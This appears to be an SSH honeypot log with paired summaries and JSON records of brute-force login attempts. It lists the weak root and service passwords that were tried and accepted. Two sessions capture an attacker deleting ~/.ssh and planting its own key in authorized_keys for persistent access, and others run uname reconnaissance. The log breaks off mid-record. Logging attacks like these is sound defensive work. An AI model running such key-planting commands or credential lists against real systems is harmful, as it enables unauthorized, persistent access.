Adversarial Observation Interface

109.160.32.126

2026-09-29 03:23:04.434446 UTC

COMMANDS RUN RECONNAISSANCE SUCCESSFUL LOGIN SCORE: 100

Credential acceptance event recorded. Target authentication: root / AAAaaa123

Remote entity achieved interactive shell state. Command sequence (1 executed):

[obs-node]:~$ uname -s -v -n -r -m

Record ID: b1b4c1378b7b

Client Version: SSH-2.0-Go

Engagement Duration: 12.5s

HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499

{
  "id": "b1b4c1378b7b",
  "src_ip": "109.160.32.126",
  "start_time": "2026-09-29T03:23:04.434446Z",
  "end_time": "2026-09-29T03:23:16.898114Z",
  "duration": "12.5",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "AAAaaa123"
  },
  "commands": [
    "uname -s -v -n -r -m"
  ],
  "detailed_commands": [
    {
      "cmd": "uname -s -v -n -r -m",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [],
  "score": 100,
  "tags": [
    "COMMANDS RUN",
    "RECONNAISSANCE",
    "SUCCESSFUL LOGIN"
  ]
}

109.160.32.126

2026-09-29 03:22:50.861643 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: trader

Record ID: a3f1b3adbe20

Client Version: SSH-2.0-Go

Engagement Duration: 13.3s

HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499

{
  "id": "a3f1b3adbe20",
  "src_ip": "109.160.32.126",
  "start_time": "2026-09-29T03:22:50.861643Z",
  "end_time": "2026-09-29T03:23:04.124564Z",
  "duration": "13.3",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [
    {
      "user": "trader",
      "pass": "12345678"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

147.182.211.237

2026-09-29 03:22:41.633461 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: nonproductions

Record ID: a59f6e6e36e8

Client Version: SSH-2.0-Go

Engagement Duration: 1.3s

HASSH Fingerprint: 1d1621d4b4020aa4fdba5b47ddef8678

{
  "id": "a59f6e6e36e8",
  "src_ip": "147.182.211.237",
  "start_time": "2026-09-29T03:22:41.633461Z",
  "end_time": "2026-09-29T03:22:42.968420Z",
  "duration": "1.3",
  "version": "SSH-2.0-Go",
  "hassh": "1d1621d4b4020aa4fdba5b47ddef8678",
  "attempts": [
    {
      "user": "nonproductions",
      "pass": "Nonproductions2026"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

147.182.211.237

2026-09-29 03:22:41.503990 UTC

SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: f64bb42ef8ef

Client Version: Unknown

Engagement Duration: 0.1s

{
  "id": "f64bb42ef8ef",
  "src_ip": "147.182.211.237",
  "start_time": "2026-09-29T03:22:41.503990Z",
  "end_time": "2026-09-29T03:22:41.570760Z",
  "duration": "0.1",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}

109.160.32.126

2026-09-29 03:22:40.579508 UTC

COMMANDS RUN RECONNAISSANCE SUCCESSFUL LOGIN SCORE: 100

Credential acceptance event recorded. Target authentication: root / Abc123456

Remote entity achieved interactive shell state. Command sequence (1 executed):

[obs-node]:~$ uname -s -v -n -r -m

Record ID: ed08e4df287b

Client Version: SSH-2.0-Go

Engagement Duration: 11.8s

HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499

{
  "id": "ed08e4df287b",
  "src_ip": "109.160.32.126",
  "start_time": "2026-09-29T03:22:40.579508Z",
  "end_time": "2026-09-29T03:22:52.350589Z",
  "duration": "11.8",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "Abc123456"
  },
  "commands": [
    "uname -s -v -n -r -m"
  ],
  "detailed_commands": [
    {
      "cmd": "uname -s -v -n -r -m",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [],
  "score": 100,
  "tags": [
    "COMMANDS RUN",
    "RECONNAISSANCE",
    "SUCCESSFUL LOGIN"
  ]
}

109.160.32.126

2026-09-29 03:22:28.716394 UTC

COMMANDS RUN RECONNAISSANCE SUCCESSFUL LOGIN SCORE: 100

Credential acceptance event recorded. Target authentication: root / 2001

Remote entity achieved interactive shell state. Command sequence (1 executed):

[obs-node]:~$ uname -s -v -n -r -m

Record ID: 09129137f7ae

Client Version: SSH-2.0-Go

Engagement Duration: 11.1s

HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499

{
  "id": "09129137f7ae",
  "src_ip": "109.160.32.126",
  "start_time": "2026-09-29T03:22:28.716394Z",
  "end_time": "2026-09-29T03:22:39.862897Z",
  "duration": "11.1",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "2001"
  },
  "commands": [
    "uname -s -v -n -r -m"
  ],
  "detailed_commands": [
    {
      "cmd": "uname -s -v -n -r -m",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [],
  "score": 100,
  "tags": [
    "COMMANDS RUN",
    "RECONNAISSANCE",
    "SUCCESSFUL LOGIN"
  ]
}

109.160.32.126

2026-09-29 03:22:15.308283 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: file

Record ID: 3c033e6f9e75

Client Version: SSH-2.0-Go

Engagement Duration: 9.0s

HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499

{
  "id": "3c033e6f9e75",
  "src_ip": "109.160.32.126",
  "start_time": "2026-09-29T03:22:15.308283Z",
  "end_time": "2026-09-29T03:22:24.275269Z",
  "duration": "9.0",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [
    {
      "user": "file",
      "pass": "file"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

109.160.32.126

2026-09-29 03:22:00.952115 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: opc

Record ID: 8c998c0c6f31

Client Version: SSH-2.0-Go

Engagement Duration: 12.9s

HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499

{
  "id": "8c998c0c6f31",
  "src_ip": "109.160.32.126",
  "start_time": "2026-09-29T03:22:00.952115Z",
  "end_time": "2026-09-29T03:22:13.845971Z",
  "duration": "12.9",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [
    {
      "user": "opc",
      "pass": "123456"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

111.17.199.57

2026-09-29 03:22:00.030587 UTC

SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: ec17c532e3a6

Client Version: Unknown

Engagement Duration: 2m 0s

{
  "id": "ec17c532e3a6",
  "src_ip": "111.17.199.57",
  "start_time": "2026-09-29T03:22:00.030587Z",
  "end_time": "2026-09-29T03:24:00.035434Z",
  "duration": "120.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}

147.182.211.237

2026-09-29 03:21:56.964318 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: nonproductions

Record ID: ba92e7301d67

Client Version: SSH-2.0-Go

Engagement Duration: 1.4s

HASSH Fingerprint: 1d1621d4b4020aa4fdba5b47ddef8678

{
  "id": "ba92e7301d67",
  "src_ip": "147.182.211.237",
  "start_time": "2026-09-29T03:21:56.964318Z",
  "end_time": "2026-09-29T03:21:58.328048Z",
  "duration": "1.4",
  "version": "SSH-2.0-Go",
  "hassh": "1d1621d4b4020aa4fdba5b47ddef8678",
  "attempts": [
    {
      "user": "nonproductions",
      "pass": "Nonproductions2024"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

147.182.211.237

2026-09-29 03:21:56.825983 UTC

SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 6d787f917ae6

Client Version: Unknown

Engagement Duration: 0.1s

{
  "id": "6d787f917ae6",
  "src_ip": "147.182.211.237",
  "start_time": "2026-09-29T03:21:56.825983Z",
  "end_time": "2026-09-29T03:21:56.895996Z",
  "duration": "0.1",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}

43.156.115.178

2026-09-29 03:21:49.342321 UTC

SUCCESSFUL LOGIN SCORE: 50

Credential acceptance event recorded. Target authentication: test / 3245gs5662d34

Record ID: d8ee43984b5a

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 1.1s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "d8ee43984b5a",
  "src_ip": "43.156.115.178",
  "start_time": "2026-09-29T03:21:49.342321Z",
  "end_time": "2026-09-29T03:21:50.473736Z",
  "duration": "1.1",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "test",
    "pass": "3245gs5662d34"
  },
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 50,
  "tags": [
    "SUCCESSFUL LOGIN"
  ]
}

109.160.32.126

2026-09-29 03:21:49.338637 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: deployer

Record ID: 63e970a0ca4e

Client Version: SSH-2.0-Go

Engagement Duration: 12.4s

HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499

{
  "id": "63e970a0ca4e",
  "src_ip": "109.160.32.126",
  "start_time": "2026-09-29T03:21:49.338637Z",
  "end_time": "2026-09-29T03:22:01.718129Z",
  "duration": "12.4",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [
    {
      "user": "deployer",
      "pass": "123456"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

43.156.115.178

2026-09-29 03:21:47.027423 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: 345gs5662d34

Record ID: efddea21bb46

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 2.1s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "efddea21bb46",
  "src_ip": "43.156.115.178",
  "start_time": "2026-09-29T03:21:47.027423Z",
  "end_time": "2026-09-29T03:21:49.166393Z",
  "duration": "2.1",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [
    {
      "user": "345gs5662d34",
      "pass": "345gs5662d34"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

43.156.115.178

2026-09-29 03:21:44.614678 UTC

COMMANDS RUN SUCCESSFUL LOGIN SCORE: 80

Credential acceptance event recorded. Target authentication: test / 12qwaszx

Remote entity achieved interactive shell state. Command sequence (2 executed):

[obs-node]:~$ cd ~; chattr -ia .ssh; lockr -ia .ssh

Command not found: lockr -ia .ssh

[obs-node]:~$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

Record ID: 3848a678e0ea

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 5.9s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "3848a678e0ea",
  "src_ip": "43.156.115.178",
  "start_time": "2026-09-29T03:21:44.614678Z",
  "end_time": "2026-09-29T03:21:50.470661Z",
  "duration": "5.9",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "test",
    "pass": "12qwaszx"
  },
  "commands": [
    "cd ~; chattr -ia .ssh; lockr -ia .ssh",
    "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"
  ],
  "detailed_commands": [
    {
      "cmd": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
      "failed": true,
      "error": "Command not found: lockr -ia .ssh"
    },
    {
      "cmd": "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [
    "lockr -ia .ssh"
  ],
  "score": 80,
  "tags": [
    "COMMANDS RUN",
    "SUCCESSFUL LOGIN"
  ]
}

69.57.172.96

2026-09-29 03:21:35.728134 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: nonproductions

Record ID: d6e237ae4c30

Client Version: SSH-2.0-Go

Engagement Duration: 2.3s

HASSH Fingerprint: 1d1621d4b4020aa4fdba5b47ddef8678

{
  "id": "d6e237ae4c30",
  "src_ip": "69.57.172.96",
  "start_time": "2026-09-29T03:21:35.728134Z",
  "end_time": "2026-09-29T03:21:38.067573Z",
  "duration": "2.3",
  "version": "SSH-2.0-Go",
  "hassh": "1d1621d4b4020aa4fdba5b47ddef8678",
  "attempts": [
    {
      "user": "nonproductions",
      "pass": "nonproductions1234@"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

69.57.172.96

2026-09-29 03:21:35.161859 UTC

SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 5f841df5a38f

Client Version: Unknown

Engagement Duration: 0.3s

{
  "id": "5f841df5a38f",
  "src_ip": "69.57.172.96",
  "start_time": "2026-09-29T03:21:35.161859Z",
  "end_time": "2026-09-29T03:21:35.440546Z",
  "duration": "0.3",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}

109.160.32.126

2026-09-29 03:21:33.814514 UTC

COMMANDS RUN RECONNAISSANCE SUCCESSFUL LOGIN SCORE: 100

Credential acceptance event recorded. Target authentication: root / redhat123

Remote entity achieved interactive shell state. Command sequence (1 executed):

[obs-node]:~$ uname -s -v -n -r -m

Record ID: bab9b6f851d9

Client Version: SSH-2.0-Go

Engagement Duration: 21.9s

HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499

{
  "id": "bab9b6f851d9",
  "src_ip": "109.160.32.126",
  "start_time": "2026-09-29T03:21:33.814514Z",
  "end_time": "2026-09-29T03:21:55.744109Z",
  "duration": "21.9",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "redhat123"
  },
  "commands": [
    "uname -s -v -n -r -m"
  ],
  "detailed_commands": [
    {
      "cmd": "uname -s -v -n -r -m",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [],
  "score": 100,
  "tags": [
    "COMMANDS RUN",
    "RECONNAISSANCE",
    "SUCCESSFUL LOGIN"
  ]
}

109.160.32.126

2026-09-29 03:21:20.213708 UTC

COMMANDS RUN RECONNAISSANCE SUCCESSFUL LOGIN SCORE: 100

Credential acceptance event recorded. Target authentication: root / Qwer1234$

Remote entity achieved interactive shell state. Command sequence (1 executed):

[obs-node]:~$ uname -s -v -n -r -m

Record ID: 001abbadd7f5

Client Version: SSH-2.0-Go

Engagement Duration: 26.1s

HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499

{
  "id": "001abbadd7f5",
  "src_ip": "109.160.32.126",
  "start_time": "2026-09-29T03:21:20.213708Z",
  "end_time": "2026-09-29T03:21:46.338708Z",
  "duration": "26.1",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "Qwer1234$"
  },
  "commands": [
    "uname -s -v -n -r -m"
  ],
  "detailed_commands": [
    {
      "cmd": "uname -s -v -n -r -m",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [],
  "score": 100,
  "tags": [
    "COMMANDS RUN",
    "RECONNAISSANCE",
    "SUCCESSFUL LOGIN"
  ]
}

109.160.32.126

2026-09-29 03:21:10.550764 UTC

COMMANDS RUN RECONNAISSANCE SUCCESSFUL LOGIN SCORE: 100

Credential acceptance event recorded. Target authentication: root / 201070

Remote entity achieved interactive shell state. Command sequence (1 executed):

[obs-node]:~$ uname -s -v -n -r -m

Record ID: c9242c956da6

Client Version: SSH-2.0-Go

Engagement Duration: 24.8s

HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499

{
  "id": "c9242c956da6",
  "src_ip": "109.160.32.126",
  "start_time": "2026-09-29T03:21:10.550764Z",
  "end_time": "2026-09-29T03:21:35.358421Z",
  "duration": "24.8",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "201070"
  },
  "commands": [
    "uname -s -v -n -r -m"
  ],
  "detailed_commands": [
    {
      "cmd": "uname -s -v -n -r -m",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [],
  "score": 100,
  "tags": [
    "COMMANDS RUN",
    "RECONNAISSANCE",
    "SUCCESSFUL LOGIN"
  ]
}

109.160.32.126

2026-09-29 03:20:59.230402 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: ec2-user

Record ID: 7fcc99561666

Client Version: SSH-2.0-Go

Engagement Duration: 14.4s

HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499

{
  "id": "7fcc99561666",
  "src_ip": "109.160.32.126",
  "start_time": "2026-09-29T03:20:59.230402Z",
  "end_time": "2026-09-29T03:21:13.653166Z",
  "duration": "14.4",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [
    {
      "user": "ec2-user",
      "pass": "ec2-user"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

109.160.32.126

2026-09-29 03:20:46.532778 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: arul

Record ID: 613798ceb69f

Client Version: SSH-2.0-Go

Engagement Duration: 14.3s

HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499

{
  "id": "613798ceb69f",
  "src_ip": "109.160.32.126",
  "start_time": "2026-09-29T03:20:46.532778Z",
  "end_time": "2026-09-29T03:21:00.847612Z",
  "duration": "14.3",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [
    {
      "user": "arul",
      "pass": "arul"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

109.160.32.126

2026-09-29 03:20:35.805966 UTC

COMMANDS RUN RECONNAISSANCE SUCCESSFUL LOGIN SCORE: 100

Credential acceptance event recorded. Target authentication: postgres / postgres123

Remote entity achieved interactive shell state. Command sequence (1 executed):

[obs-node]:~$ uname -s -v -n -r -m

Record ID: c1068435a636

Client Version: SSH-2.0-Go

Engagement Duration: 19.6s

HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499

{
  "id": "c1068435a636",
  "src_ip": "109.160.32.126",
  "start_time": "2026-09-29T03:20:35.805966Z",
  "end_time": "2026-09-29T03:20:55.402686Z",
  "duration": "19.6",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "postgres",
    "pass": "postgres123"
  },
  "commands": [
    "uname -s -v -n -r -m"
  ],
  "detailed_commands": [
    {
      "cmd": "uname -s -v -n -r -m",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [],
  "score": 100,
  "tags": [
    "COMMANDS RUN",
    "RECONNAISSANCE",
    "SUCCESSFUL LOGIN"
  ]
}

109.160.32.126

2026-09-29 03:20:21.792834 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: work

Record ID: d035d63735b0

Client Version: SSH-2.0-Go

Engagement Duration: 15.8s

HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499

{
  "id": "d035d63735b0",
  "src_ip": "109.160.32.126",
  "start_time": "2026-09-29T03:20:21.792834Z",
  "end_time": "2026-09-29T03:20:37.578421Z",
  "duration": "15.8",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [
    {
      "user": "work",
      "pass": "work"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

43.156.115.178

2026-09-29 03:20:19.073283 UTC

SUCCESSFUL LOGIN SCORE: 50

Credential acceptance event recorded. Target authentication: root / 3245gs5662d34

Record ID: 202f1077b826

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 1.1s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "202f1077b826",
  "src_ip": "43.156.115.178",
  "start_time": "2026-09-29T03:20:19.073283Z",
  "end_time": "2026-09-29T03:20:20.195565Z",
  "duration": "1.1",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "3245gs5662d34"
  },
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 50,
  "tags": [
    "SUCCESSFUL LOGIN"
  ]
}

43.156.115.178

2026-09-29 03:20:16.738523 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: 345gs5662d34

Record ID: 5481a4b8a367

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 2.2s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "5481a4b8a367",
  "src_ip": "43.156.115.178",
  "start_time": "2026-09-29T03:20:16.738523Z",
  "end_time": "2026-09-29T03:20:18.898668Z",
  "duration": "2.2",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [
    {
      "user": "345gs5662d34",
      "pass": "345gs5662d34"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

43.156.115.178

2026-09-29 03:20:14.225389 UTC

COMMANDS RUN SUCCESSFUL LOGIN SCORE: 80

Credential acceptance event recorded. Target authentication: root / hello2025

Remote entity achieved interactive shell state. Command sequence (2 executed):

[obs-node]:~$ cd ~; chattr -ia .ssh; lockr -ia .ssh

Command not found: lockr -ia .ssh

[obs-node]:~$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

Record ID: a29e75a635bb

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 6.0s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "a29e75a635bb",
  "src_ip": "43.156.115.178",
  "start_time": "2026-09-29T03:20:14.225389Z",
  "end_time": "2026-09-29T03:20:20.198703Z",
  "duration": "6.0",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "hello2025"
  },
  "commands": [
    "cd ~; chattr -ia .ssh; lockr -ia .ssh",
    "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"
  ],
  "detailed_commands": [
    {
      "cmd": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
      "failed": true,
      "error": "Command not found: lockr -ia .ssh"
    },
    {
